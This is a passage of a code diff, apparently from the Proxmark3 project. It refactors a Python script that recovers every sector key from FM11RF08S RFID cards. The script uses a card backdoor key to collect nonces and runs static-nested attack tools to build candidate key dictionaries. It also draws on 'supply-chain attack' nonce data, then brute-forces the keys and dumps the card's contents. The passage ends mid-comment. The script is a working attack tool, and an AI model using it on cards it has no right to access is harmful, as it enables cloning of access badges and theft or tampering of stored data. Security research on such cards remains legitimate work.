"staticnested_2x1nt_rf08s"), - "staticnested_2x1nt1key": os.path.join(f"{TOOLS_PATH}", "staticnested_2x1nt_rf08s_1key"), -} -for tool, bin in tools.items(): - if not os.path.isfile(bin): - if os.path.isfile(bin + ".exe"): - tools[tool] = bin + ".exe" - else: - print(f"Cannot find {bin}, abort!") - exit() - -parser = argparse.ArgumentParser(description='A script combining staticnested* tools ' - 'to recover all keys from a FM11RF08S card.') -parser.add_argument('-x', '--init-check', action='store_true', help='Run an initial fchk for default keys') -parser.add_argument('-y', '--final-check', action='store_true', help='Run a final fchk with the found keys') -parser.add_argument('-d', '--debug', action='store_true', help='Enable debug mode') -args = parser.parse_args() - -start_time = time.time() -p = pm3.pm3() - -p.console("hf 14a read") -uid = None - -for line in p.grabbed_output.split('\n'): - if "UID:" in line: - uid = int(line[10:].replace(' ', '')[-8:], 16) - -if uid is None: - print("Card not found") - exit() -print("UID: " + color(f"{uid:08X}", fg="green")) +staticnested_1nt_path = find_tool("staticnested_1nt") +staticnested_2x1nt_path = find_tool("staticnested_2x1nt_rf08s") +staticnested_2x1nt1key_path = find_tool("staticnested_2x1nt_rf08s_1key") -def print_key(sec, key_type, key): - kt = ['A', 'B'][key_type] - print(f"Sector {sec:2} key{kt} = " + color(key, fg="green")) +def match_key(line): + """ + Extract a 12-character hexadecimal key from a given string. + + Args: + line (str): The input string to search for the hexadecimal key. + + Returns: + str or None: The 12-character hexadecimal key in uppercase if found, otherwise None. + """ + match = re.search(r'([0-9a-fA-F]{12})', line) + if match: + return match.group(1).upper() + else: + return None -found_keys = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -if args.init_check: - print("Checking default keys...") - p.console("hf mf fchk") +def recovery(init_check=False, final_check=False, keep=False, no_oob=False, + debug=False, supply_chain=False, quiet=True, keyset=[]): + """ + Perform recovery operation for FM11RF08S cards. + + Args: + init_check (bool): If True, check for default keys initially. + final_check (bool): If True, perform a final check and dump keys. + keep (bool): If True, keep the generated dictionaries after processing. + no_oob (bool): If True, do not include out-of-bounds sectors. + debug (bool): If True, print debug information. + supply_chain (bool): If True, use supply-chain attack data. + quiet (bool): If True, suppress output messages. + keyset (list): A list of key pairs to use for the recovery process. + + Returns: + dict: A dictionary containing the following keys: + - 'keyfile': Path to the generated binary key file. + - 'found_keys': List of found keys for each sector. + - 'dump_file': Path to the generated dump file. + - 'data': List of data blocks for each sector. + """ + def show(s='', prompt="[" + color("=", fg="yellow") + "] ", **kwargs): + if not quiet: + s = f"{prompt}" + f"\n{prompt}".join(s.split('\n')) + print(s, **kwargs) + + start_time = time.time() + p = pm3.pm3() + + p.console("hf 14a read") + uid = None + for line in p.grabbed_output.split('\n'): - if "[+] 0" in line: - res = [x.strip() for x in line.split('|')] - sec = int(res[0][4:]) - if res[3] == '1': - found_keys[sec][0] = res[2] - print_key(sec, 0, found_keys[sec][0]) - if res[5] == '1': - found_keys[sec][1] = res[4] - print_key(sec, 1, found_keys[sec][1]) + if "UID:" in line: + uid = int(line[10:].replace(' ', '')[-8:], 16) -print("Getting nonces...") -cmd = f"hf mf isen --collect_fm11rf08s_with_data --key {BACKDOOR_RF08S}" -p.console(cmd) -try: - nt, nt_enc, par_err, data = json.loads(p.grabbed_output) -except json.decoder.JSONDecodeError: - print("Error getting nonces, abort.") - exit() + if uid is None: + show("Card not found") + return False + show("UID: " + color(f"{uid:08X}", fg="green")) -print("Generating first dump file") -dumpfile = f"hf-mf-{uid:08X}-dump.bin" -with (open(dumpfile, "wb")) as f: - for sec in range(NUM_SECTORS): - for b in range(4): - d = data[(sec * 4) + b] - if b == 3: - ka = found_keys[sec][0] - kb = found_keys[sec][1] - if ka == "": - ka = "FFFFFFFFFFFF" - if kb == "": - kb = "FFFFFFFFFFFF" - d = ka + d[12:20] + kb - f.write(bytes.fromhex(d)) -print(f"Data have been dumped to `{dumpfile}`") + def show_key(sec, key_type, key): + kt = ['A', 'B'][key_type] + show(f"Sector {sec:2} key{kt} = " + color(key, fg="green")) -elapsed_time1 = time.time() - start_time -minutes = int(elapsed_time1 // 60) -seconds = int(elapsed_time1 % 60) -print("----Step 1: " + color(f"{minutes:2}", fg="yellow") + " minutes " + - color(f"{seconds:2}", fg="yellow") + " seconds -----------") + p.console("prefs show --json") + prefs = json.loads(p.grabbed_output) + save_path = prefs['file.default.dumppath'] + os.path.sep -if os.path.isfile(DICT_DEF_PATH): - print(f"Loading {DICT_DEF}") - with open(DICT_DEF_PATH, 'r', encoding='utf-8') as file: - for line in file: - if line[0] != '#' and len(line) >= 12: - DEFAULT_KEYS.add(line[:12]) -else: - print(f"Warning, {DICT_DEF} not found.") + found_keys = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -print("Running staticnested_1nt & 2x1nt when doable...") -keys = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -all_keys = set() -duplicates = set() -# Availability of filtered dicts -filtered_dicts = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -found_default = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - real_sec = sec - if sec >= NUM_SECTORS: - real_sec += 16 - if found_keys[sec][0] != "" and found_keys[sec][1] != "": - continue - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] != nt[sec][1]: - for key_type in [0, 1]: - cmd = [tools["staticnested_1nt"], f"{uid:08X}", f"{real_sec}", - nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]] - if args.debug: - print(' '.join(cmd)) - subprocess.run(cmd, capture_output=True) - cmd = [tools["staticnested_2x1nt"], - f"keys_{uid:08x}_{real_sec:02}_{nt[sec][0]}.dic", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][1]}.dic"] - if args.debug: - print(' '.join(cmd)) - subprocess.run(cmd, capture_output=True) - filtered_dicts[sec][key_type] = True - for key_type in [0, 1]: - keys_set = set() - with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic")) as f: - while line := f.readline().rstrip(): - keys_set.add(line) - keys[sec][key_type] = keys_set.copy() - duplicates.update(all_keys.intersection(keys_set)) - all_keys.update(keys_set) - # Prioritize default keys - keys_def_set = DEFAULT_KEYS.intersection(keys_set) - keys_set.difference_update(DEFAULT_KEYS) - # Prioritize sector 32 keyB starting with 0000 - if real_sec == 32: - keyb32cands = set(x for x in keys_set if x.startswith("0000")) - keys_def_set.update(keyb32cands) - keys_set.difference_update(keyb32cands) - if len(keys_def_set) > 0: - found_default[sec][key_type] = True - with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic", "w")) as f: - for k in keys_def_set: - f.write(f"{k}\n") - for k in keys_set: - f.write(f"{k}\n") - else: # one key not found or both identical - if found_keys[sec][0] == "": - key_type = 0 - else: - key_type = 1 - cmd = [tools["staticnested_1nt"], f"{uid:08X}", f"{real_sec}", - nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]] - if args.debug: - print(' '.join(cmd)) - subprocess.run(cmd, capture_output=True) - keys_set = set() - with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic")) as f: - while line := f.readline().rstrip(): - keys_set.add(line) - keys[sec][key_type] = keys_set.copy() - duplicates.update(all_keys.intersection(keys_set)) - all_keys.update(keys_set) - # Prioritize default keys - keys_def_set = DEFAULT_KEYS.intersection(keys_set) - keys_set.difference_update(DEFAULT_KEYS) - if len(keys_def_set) > 0: - found_default[sec][key_type] = True - with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic", "w")) as f: - for k in keys_def_set: - f.write(f"{k}\n") - for k in keys_set: - f.write(f"{k}\n") + if len(keyset) > 0: + n = min(len(found_keys), len(keyset)) + show(f"{n} Key pairs supplied: ") + for i in range(n): + found_keys[i] = keyset[i] + show(f" Sector {i:2d} : A = {found_keys[i][0]:12s} B = {found_keys[i][1]:12s}") -print("Looking for common keys across sectors...") -keys_filtered = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -for dup in duplicates: - for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - for key_type in [0, 1]: - if dup in keys[sec][key_type]: - keys_filtered[sec][key_type].add(dup) + if init_check: + show("Checking default keys...") + p.console("hf mf fchk") + for line in p.grabbed_output.split('\n'): + if "[+] 0" in line: + res = [x.strip() for x in line.split('|')] + sec = int(res[0][4:]) + if res[3] == '1': + found_keys[sec][0] = res[2] + show_key(sec, 0, found_keys[sec][0]) + if res[5] == '1': + found_keys[sec][1] = res[4] + show_key(sec, 1, found_keys[sec][1]) -# Availability of duplicates dicts -duplicates_dicts = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -first = True -for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - real_sec = sec - if sec >= NUM_SECTORS: - real_sec += 16 - for key_type in [0, 1]: - if len(keys_filtered[sec][key_type]) > 0: - if first: - print("Saving duplicates dicts...") - first = False - with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic", "w")) as f: - keys_set = keys_filtered[sec][key_type].copy() - keys_def_set = DEFAULT_KEYS.intersection(keys_set) - keys_set.difference_update(DEFAULT_KEYS) - for k in keys_def_set: - f.write(f"{k}\n") - for k in keys_set: - f.write(f"{k}\n") - duplicates_dicts[sec][key_type] = True - -print("Computing needed time for attack...") -candidates = [[0, 0] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] -for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - real_sec = sec - if sec >= NUM_SECTORS: - real_sec += 16 - for key_type in [0, 1]: - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and duplicates_dicts[sec][key_type]: - kt = ['a', 'b'][key_type] - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic" - with open(dic, 'r') as file: - count = sum(1 for _ in file) -# print(f"dic {dic} size {count}") - candidates[sec][key_type] = count - if nt[sec][0] == nt[sec][1]: - candidates[sec][key_type ^ 1] = 1 - for key_type in [0, 1]: - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and filtered_dicts[sec][key_type] and candidates[sec][0] == 0 and candidates[sec][1] == 0: - if found_default[sec][key_type]: - # We assume the default key is correct - candidates[sec][key_type] = 1 - else: - kt = ['a', 'b'][key_type] - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic" - with open(dic, 'r') as file: - count = sum(1 for _ in file) -# print(f"dic {dic} size {count}") - candidates[sec][key_type] = count - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] == nt[sec][1] and candidates[sec][0] == 0 and candidates[sec][1] == 0: - if found_default[sec][0]: - # We assume the default key is correct - candidates[sec][0] = 1 - candidates[sec][1] = 1 - else: - key_type = 0 - kt = ['a', 'b'][key_type] - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic" - with open(dic, 'r') as file: - count = sum(1 for _ in file) -# print(f"dic {dic} size {count}") - candidates[sec][0] = count - candidates[sec][1] = 1 - -if args.debug: - for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - real_sec = sec - if sec >= NUM_SECTORS: - real_sec += 16 - print(f" {real_sec:03} | {real_sec*4+3:03} | {candidates[sec][0]:6} | {candidates[sec][1]:6} ") -total_candidates = sum(candidates[sec][0] + candidates[sec][1] for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS)) - -elapsed_time2 = time.time() - start_time - elapsed_time1 -minutes = int(elapsed_time2 // 60) -seconds = int(elapsed_time2 % 60) -print("----Step 2: " + color(f"{minutes:2}", fg="yellow") + " minutes " + - color(f"{seconds:2}", fg="yellow") + " seconds -----------") - -# fchk: 147 keys/s. Correct key found after 50% of candidates on average -FCHK_KEYS_S = 147 -foreseen_time = (total_candidates / 2 / FCHK_KEYS_S) + 5 -minutes = int(foreseen_time // 60) -seconds = int(foreseen_time % 60) -print("Still about " + color(f"{minutes:2}", fg="yellow") + " minutes " + - color(f"{seconds:2}", fg="yellow") + " seconds to run...") - -abort = False -print("Brute-forcing keys... Press any key to interrupt") -for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - real_sec = sec - if sec >= NUM_SECTORS: - real_sec += 16 - for key_type in [0, 1]: - # If we have a duplicates dict - # note: we skip if we already know one key - # as using 2x1nt1key later will be faster - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and duplicates_dicts[sec][key_type]: - kt = ['a', 'b'][key_type] - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic" - cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" - if args.debug: - print(cmd) - p.console(cmd) - for line in p.grabbed_output.split('\n'): - if "aborted via keyboard" in line: - abort = True - if "found:" in line: - found_keys[sec][key_type] = line[30:].strip() - print_key(real_sec, key_type, found_keys[sec][key_type]) - if nt[sec][0] == nt[sec][1] and found_keys[sec][key_type ^ 1] == "": - found_keys[sec][key_type ^ 1] = found_keys[sec][key_type] - print_key(real_sec, key_type ^ 1, found_keys[sec][key_type ^ 1]) - if abort: - break - if abort: - break - - for key_type in [0, 1]: - # If we have a filtered dict - # note: we skip if we already know one key - # as using 2x1nt1key later will be faster - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and filtered_dicts[sec][key_type]: - # Use filtered dict - kt = ['a', 'b'][key_type] - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic" - cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" - if args.debug: - print(cmd) - p.console(cmd) - for line in p.grabbed_output.split('\n'): - if "aborted via keyboard" in line: - abort = True - if "found:" in line: - found_keys[sec][key_type] = line[30:].strip() - print_key(real_sec, key_type, found_keys[sec][key_type]) - if abort: - break - if abort: - break - - # If one common key for the sector - if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] == nt[sec][1]: - key_type = 0 - # Use regular dict - kt = ['a', 'b'][key_type] - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic" - cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} -f {dic} --no-default" - if args.debug: - print(cmd) + show("Getting nonces...") + nonces_with_data = "" + for key in BACKDOOR_KEYS: + cmd = f"hf mf isen --collect_fm11rf08s_with_data --key {key}" p.console(cmd) for line in p.grabbed_output.split('\n'): - if "aborted via keyboard" in line: - abort = True - if "found:" in line: - found_keys[sec][0] = line[30:].strip() - found_keys[sec][1] = line[30:].strip() - print_key(real_sec, 0, found_keys[sec][key_type]) - print_key(real_sec, 1, found_keys[sec][key_type]) - if abort: - break + if "Wrong" in line or "error" in line: + break + matched = "Saved to json file " + if matched in line: + nonces_with_data = line[line.index(matched)+len(matched):] + if nonces_with_data != "": + break - # If one key is missing, use the other one with 2x1nt1key - if ((found_keys[sec][0] == "") ^ (found_keys[sec][1] == "")) and nt[sec][0] != nt[sec][1]: - if (found_keys[sec][0] == ""): - key_type_source = 1 - key_type_target = 0 - else: - key_type_source = 0 - key_type_target = 1 - if duplicates_dicts[sec][key_type_target]: - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_duplicates.dic" - elif filtered_dicts[sec][key_type_target]: - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}_filtered.dic" - else: - dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type_target]}.dic" - cmd = [tools["staticnested_2x1nt1key"], nt[sec][key_type_source], found_keys[sec][key_type_source], dic] - if args.debug: - print(' '.join(cmd)) - result = subprocess.run(cmd, capture_output=True, text=True).stdout - keys = set() - for line in result.split('\n'): - if "MATCH:" in line: - keys.add(line[12:]) - if len(keys) > 1: - kt = ['a', 'b'][key_type_target] - cmd = f"hf mf fchk --blk {real_sec * 4} -{kt} --no-default" - for k in keys: - cmd += f" -k {k}" - if args.debug: - print(cmd) - p.console(cmd) - for line in p.grabbed_output.split('\n'): - if "aborted via keyboard" in line: - abort = True - if "found:" in line: - found_keys[sec][key_type_target] = line[30:].strip() - elif len(keys) == 1: - found_keys[sec][key_type_target] = keys.pop() - if found_keys[sec][key_type_target] != "": - print_key(real_sec, key_type_target, found_keys[sec][key_type_target]) - if abort: - break + if (nonces_with_data == ""): + show("Error getting nonces, abort.") + return False -if abort: - print("Brute-forcing phase aborted via keyboard!") - args.final_check = False + try: + with open(nonces_with_data, 'r') as file: + # Load and parse the JSON data + dict_nwd = json.load(file) + except json.decoder.JSONDecodeError: + show(f"Error parsing {nonces_with_data}, abort.") + return False -if args.final_check: - print("Letting fchk do a final dump, just for confirmation and display...") - keys_set = set([i for sl in found_keys for i in sl if i != ""]) - with (open(f"keys_{uid:08x}.dic", "w")) as f: - for k in keys_set: - f.write(f"{k}\n") - cmd = f"hf mf fchk -f keys_{uid:08x}.dic --no-default --dump" - if args.debug: - print(cmd) - p.console(cmd, passthru = True) -else: - plus = "[" + color("+", fg="green") + "] " - print() - print(plus + color("found keys:", fg="green")) - print() - print(plus + "-----+-----+--------------+---+--------------+----") - print(plus + " Sec | Blk | key A |res| key B |res") - print(plus + "-----+-----+--------------+---+--------------+----") + nt = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + nt_enc = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + par_err = [["", ""] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + data = ["" for _ in range(NUM_SECTORS * 4)] for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): real_sec = sec if sec >= NUM_SECTORS: real_sec += 16 - keys = [["", 0], ["", 0]] - for key_type in [0, 1]: - if found_keys[sec][key_type] == "": - keys[key_type] = [color("------------", fg="red"), color("0", fg="red")] - else: - keys[key_type] = [color(found_keys[sec][key_type], fg="green"), color("1", fg="green")] - print(plus + f" {real_sec:03} | {real_sec*4+3:03} | {keys[0][0]} | {keys[0][1]} | {keys[1][0]} | {keys[1][1]} ") - print(plus + "-----+-----+--------------+---+--------------+----") - print(plus + "( " + color("0", fg="red") + ":Failed / " + - color("1", fg="green") + ":Success )") - print() - print(plus + "Generating binary key file") - keyfile = f"hf-mf-{uid:08X}-key.bin" - unknown = False - with (open(keyfile, "wb")) as f: - for key_type in [0, 1]: - for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): - k = found_keys[sec][key_type] - if k == "": - k = "FFFFFFFFFFFF" - unknown = True - f.write(bytes.fromhex(k)) - print(plus + "Found keys have been dumped to `" + color(keyfile, fg="yellow")+"`") - if unknown: - print("[" + color("=", fg="yellow") + "] --[ " + color("FFFFFFFFFFFF", fg="yellow") + - " ]-- has been inserted for unknown keys") - print(plus + "Generating final dump file") - dumpfile = f"hf-mf-{uid:08X}-dump.bin" - with (open(dumpfile, "wb")) as f: + nt[sec][0] = dict_nwd["nt"][f"{real_sec}"]["a"].lower() + nt[sec][1] = dict_nwd["nt"][f"{real_sec}"]["b"].lower() + nt_enc[sec][0] = dict_nwd["nt_enc"][f"{real_sec}"]["a"].lower() + nt_enc[sec][1] = dict_nwd["nt_enc"][f"{real_sec}"]["b"].lower() + par_err[sec][0] = dict_nwd["par_err"][f"{real_sec}"]["a"] + par_err[sec][1] = dict_nwd["par_err"][f"{real_sec}"]["b"] + for blk in range(NUM_SECTORS * 4): + data[blk] = dict_nwd["blocks"][f"{blk}"] + + show("Generating first dump file") + dump_file = f"{save_path}hf-mf-{uid:08X}-dump.bin" + with (open(dump_file, "wb")) as f: for sec in range(NUM_SECTORS): for b in range(4): d = data[(sec * 4) + b] @@ -506,16 +202,510 @@ else: kb = "FFFFFFFFFFFF" d = ka + d[12:20] + kb f.write(bytes.fromhex(d)) - print(plus + "Data have been dumped to `" + color(dumpfile, fg="yellow")+"`") + show(f"Data has been dumped to `{dump_file}`") -elapsed_time3 = time.time() - start_time - elapsed_time1 - elapsed_time2 -minutes = int(elapsed_time3 // 60) -seconds = int(elapsed_time3 % 60) -print("----Step 3: " + color(f"{minutes:2}", fg="yellow") + " minutes " + - color(f"{seconds:2}", fg="yellow") + " seconds -----------") + elapsed_time1 = time.time() - start_time + minutes = int(elapsed_time1 // 60) + seconds = int(elapsed_time1 % 60) + show("----Step 1: " + color(f"{minutes:2}", fg="yellow") + " minutes " + + color(f"{seconds:2}", fg="yellow") + " seconds -----------") -elapsed_time = time.time() - start_time -minutes = int(elapsed_time // 60) -seconds = int(elapsed_time % 60) -print("---- TOTAL: " + color(f"{minutes:2}", fg="yellow") + " minutes " + - color(f"{seconds:2}", fg="yellow") + " seconds -----------") + dict_def = "mfc_default_keys.dic" + try: + dict_path = find_dict(dict_def) + with open(dict_path, 'r', encoding='utf-8') as file: + for line in file: + if line[0] != '#' and len(line) >= 12: + DEFAULT_KEYS.add(line[:12].lower()) + show(f"Loaded {dict_def}") + except FileNotFoundError: + show(f"Warning, {dict_def} not found.") + except Exception as e: + raise Exception(f"Error loading {dict_def}: {e}") + + dict_dnwd = None + def_nt = ["" for _ in range(NUM_SECTORS)] + if supply_chain: + default_nonces = '' + try: + default_nonces = f'{save_path}hf-mf-{uid:04X}-default_nonces.json' + with open(default_nonces, 'r') as file: + # Load and parse the JSON data + dict_dnwd = json.load(file) + for sec in range(NUM_SECTORS): + def_nt[sec] = dict_dnwd["nt"][f"{sec}"].lower() + show(f"Loaded default nonces from {default_nonces}.") + except FileNotFoundError: + pass + except json.decoder.JSONDecodeError: + show(f"Error parsing {default_nonces}, skipping.") + + show("Running staticnested_1nt & 2x1nt when doable...") + keys = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + all_keys = set() + duplicates = set() + # Availability of filtered dicts + filtered_dicts = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + found_default = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + if found_keys[sec][0] != "" and found_keys[sec][1] != "": + continue + if found_keys[sec][0] == "" and found_keys[sec][1] == "" and nt[sec][0] != nt[sec][1]: + for key_type in [0, 1]: + cmd = [staticnested_1nt_path, f"{uid:08X}", f"{real_sec}", + nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]] + if debug: + print(' '.join(cmd)) + subprocess.run(cmd, capture_output=True) + cmd = [staticnested_2x1nt_path, + f"keys_{uid:08x}_{real_sec:02}_{nt[sec][0]}.dic", f"keys_{uid:08x}_{real_sec:02}_{nt[sec][1]}.dic"] + if debug: + print(' '.join(cmd)) + subprocess.run(cmd, capture_output=True) + filtered_dicts[sec][key_type] = True + for key_type in [0, 1]: + keys_set = set() + with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic")) as f: + while line := f.readline().rstrip(): + keys_set.add(line) + keys[sec][key_type] = keys_set.copy() + duplicates.update(all_keys.intersection(keys_set)) + all_keys.update(keys_set) + if dict_dnwd is not None and sec < NUM_SECTORS: + # Prioritize keys from supply-chain attack + cmd = [staticnested_2x1nt1key_path, def_nt[sec], "FFFFFFFFFFFF", + f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic"] + if debug: + print(' '.join(cmd)) + result = subprocess.run(cmd, capture_output=True, text=True).stdout + keys_def_set = set() + for line in result.split('\n'): + matched = match_key(line) + if matched is not None: + keys_def_set.add(matched) + keys_set.difference_update(keys_def_set) + else: + # Prioritize default keys + keys_def_set = DEFAULT_KEYS.intersection(keys_set) + keys_set.difference_update(keys_def_set) + # Prioritize sector 32 keyB starting with 0000 + if real_sec == 32: + keyb32cands = set(x for x in keys_set if x.startswith("0000")) + keys_def_set.update(keyb32cands) + keys_set.difference_update(keyb32cands) + if len(keys_def_set) > 0: + found_default[sec][key_type] = True + with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic", "w")) as f: + for k in keys_def_set: + f.write(f"{k}\n") + for k in keys_set: + f.write(f"{k}\n") + else: # one key not found or both identical + if found_keys[sec][0] == "": + key_type = 0 + else: + key_type = 1 + cmd = [staticnested_1nt_path, f"{uid:08X}", f"{real_sec}", + nt[sec][key_type], nt_enc[sec][key_type], par_err[sec][key_type]] + if debug: + print(' '.join(cmd)) + subprocess.run(cmd, capture_output=True) + keys_set = set() + with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic")) as f: + while line := f.readline().rstrip(): + keys_set.add(line) + keys[sec][key_type] = keys_set.copy() + duplicates.update(all_keys.intersection(keys_set)) + all_keys.update(keys_set) + if dict_dnwd is not None and sec < NUM_SECTORS: + # Prioritize keys from supply-chain attack + cmd = [staticnested_2x1nt1key_path, def_nt[sec], "FFFFFFFFFFFF", + f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic"] + if debug: + print(' '.join(cmd)) + result = subprocess.run(cmd, capture_output=True, text=True).stdout + keys_def_set = set() + for line in result.split('\n'): + matched = match_key(line) + if matched is not None: + keys_def_set.add(matched) + keys_set.difference_update(keys_def_set) + else: + # Prioritize default keys + keys_def_set = DEFAULT_KEYS.intersection(keys_set) + keys_set.difference_update(keys_def_set) + if len(keys_def_set) > 0: + found_default[sec][key_type] = True + with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic", "w")) as f: + for k in keys_def_set: + f.write(f"{k}\n") + for k in keys_set: + f.write(f"{k}\n") + + show("Looking for common keys across sectors...") + keys_filtered = [[set(), set()] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + for dup in duplicates: + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + for key_type in [0, 1]: + if dup in keys[sec][key_type]: + keys_filtered[sec][key_type].add(dup) + + # Availability of duplicates dicts + duplicates_dicts = [[False, False] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + first = True + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + for key_type in [0, 1]: + if len(keys_filtered[sec][key_type]) > 0: + if first: + show("Saving duplicates dicts...") + first = False + with (open(f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic", "w")) as f: + keys_set = keys_filtered[sec][key_type].copy() + keys_def_set = DEFAULT_KEYS.intersection(keys_set) + keys_set.difference_update(DEFAULT_KEYS) + for k in keys_def_set: + f.write(f"{k}\n") + for k in keys_set: + f.write(f"{k}\n") + duplicates_dicts[sec][key_type] = True + + show("Computing needed time for attack...") + candidates = [[0, 0] for _ in range(NUM_SECTORS + NUM_EXTRA_SECTORS)] + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + for key_type in [0, 1]: + if found_keys[sec][0] == "" and found_keys[sec][1] == "" and duplicates_dicts[sec][key_type]: + kt = ['a', 'b'][key_type] + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_duplicates.dic" + with open(dic, 'r') as file: + count = sum(1 for _ in file) + # print(f"dic {dic} size {count}") + candidates[sec][key_type] = count + if nt[sec][0] == nt[sec][1]: + candidates[sec][key_type ^ 1] = 1 + for key_type in [0, 1]: + if ((found_keys[sec][0] == "" and found_keys[sec][1] == "" and + filtered_dicts[sec][key_type] and candidates[sec][0] == 0 and + candidates[sec][1] == 0)): + if found_default[sec][key_type]: + # We assume the default key is correct + candidates[sec][key_type] = 1 + else: + kt = ['a', 'b'][key_type] + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}_filtered.dic" + with open(dic, 'r') as file: + count = sum(1 for _ in file) + # print(f"dic {dic} size {count}") + candidates[sec][key_type] = count + if ((found_keys[sec][0] == "" and found_keys[sec][1] == "" and + nt[sec][0] == nt[sec][1] and candidates[sec][0] == 0 and + candidates[sec][1] == 0)): + if found_default[sec][0]: + # We assume the default key is correct + candidates[sec][0] = 1 + candidates[sec][1] = 1 + else: + key_type = 0 + kt = ['a', 'b'][key_type] + dic = f"keys_{uid:08x}_{real_sec:02}_{nt[sec][key_type]}.dic" + with open(dic, 'r') as file: + count = sum(1 for _ in file) + # print(f"dic {dic} size {count}") + candidates[sec][0] = count + candidates[sec][1] = 1 + + if debug: + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + show(f" {real_sec:03} | {real_sec*4+3:03} | {candidates[sec][0]:6} | {candidates[sec][1]:6} ") + total_candidates = sum(candidates[sec][0] + candidates[sec][1] for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS)) + + elapsed_time2 = time.time() - start_time - elapsed_time1 + minutes = int(elapsed_time2 // 60) + seconds = int(elapsed_time2 % 60) + show("----Step 2: " + color(f"{minutes:2}", fg="yellow") + " minutes " + + color(f"{seconds:2}", fg="yellow") + " seconds -----------") + + # fchk: 147 keys/s. Correct key found after 50% of candidates on average + FCHK_KEYS_S = 147 + foreseen_time = (total_candidates / 2 / FCHK_KEYS_S) + 5 + minutes = int(foreseen_time // 60) + seconds = int(foreseen_time % 60) + show("Still about " + color(f"{minutes:2}", fg="yellow") + " minutes " + + color(f"{seconds:2}", fg="yellow") + " seconds to run...") + + abort = False + show("Brute-forcing keys... Press any key to interrupt") + for sec in range(NUM_SECTORS + NUM_EXTRA_SECTORS): + real_sec = sec + if sec >= NUM_SECTORS: + real_sec += 16 + for key_type in [0, 1]: + # If we have a duplicates dict + # note: we skip if we already know one key + # as using 2x1nt1key later will be 